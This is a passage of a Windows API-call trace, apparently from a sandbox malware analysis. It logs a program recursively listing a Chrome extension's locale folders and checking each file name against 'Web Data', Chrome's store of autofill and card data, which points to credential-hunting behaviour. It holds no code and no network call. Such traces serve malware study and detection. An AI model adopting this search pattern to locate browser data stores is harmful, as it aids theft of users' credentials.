lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.192] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" [0056.192] LocalFree (hMem=0x2daca0) returned 0x0 [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned 131 [0056.192] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned 131 [0056.192] lstrlenA (lpString="\\*.*") returned 4 [0056.192] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.192] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv" [0056.192] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*" [0056.192] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.193] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.193] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.193] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.193] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.193] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.193] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.193] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.193] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.193] LocalFree (hMem=0x2daca0) returned 0x0 [0056.193] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.193] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.193] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.193] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.193] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.193] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.193] lstrlenA (lpString="\\") returned 1 [0056.193] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.193] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.193] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.193] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.193] lstrlenA (lpString="th") returned 2 [0056.193] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.193] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.193] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" [0056.193] LocalFree (hMem=0x2daca0) returned 0x0 [0056.193] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned 131 [0056.193] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned 131 [0056.193] lstrlenA (lpString="\\*.*") returned 4 [0056.193] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.193] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th" [0056.193] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*" [0056.193] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.193] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.193] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.193] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.193] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.193] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.194] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.194] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.194] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.194] LocalFree (hMem=0x2daca0) returned 0x0 [0056.194] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.194] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.194] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.194] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.194] lstrlenA (lpString="\\") returned 1 [0056.194] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.194] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.194] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.194] lstrlenA (lpString="tr") returned 2 [0056.194] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.194] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.194] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" [0056.194] LocalFree (hMem=0x2daca0) returned 0x0 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned 131 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned 131 [0056.194] lstrlenA (lpString="\\*.*") returned 4 [0056.194] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.194] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr" [0056.194] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*" [0056.194] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.194] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.194] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.194] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.194] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.194] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.194] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.194] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.194] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.194] LocalFree (hMem=0x2daca0) returned 0x0 [0056.194] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.194] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.194] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.194] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.194] lstrlenA (lpString="\\") returned 1 [0056.195] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.195] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.195] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.195] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.195] lstrlenA (lpString="uk") returned 2 [0056.195] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.195] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.195] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" [0056.195] LocalFree (hMem=0x2daca0) returned 0x0 [0056.195] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned 131 [0056.195] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned 131 [0056.195] lstrlenA (lpString="\\*.*") returned 4 [0056.195] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.195] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk" [0056.195] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*" [0056.195] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.196] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.196] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.196] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.196] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.196] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.196] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.196] LocalFree (hMem=0x2daca0) returned 0x0 [0056.196] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.196] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.196] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.196] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.196] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.196] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.196] lstrlenA (lpString="\\") returned 1 [0056.196] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.196] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.196] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.196] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.196] lstrlenA (lpString="vi") returned 2 [0056.196] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.196] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.196] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" [0056.196] LocalFree (hMem=0x2daca0) returned 0x0 [0056.196] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned 131 [0056.196] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned 131 [0056.196] lstrlenA (lpString="\\*.*") returned 4 [0056.196] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.196] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK 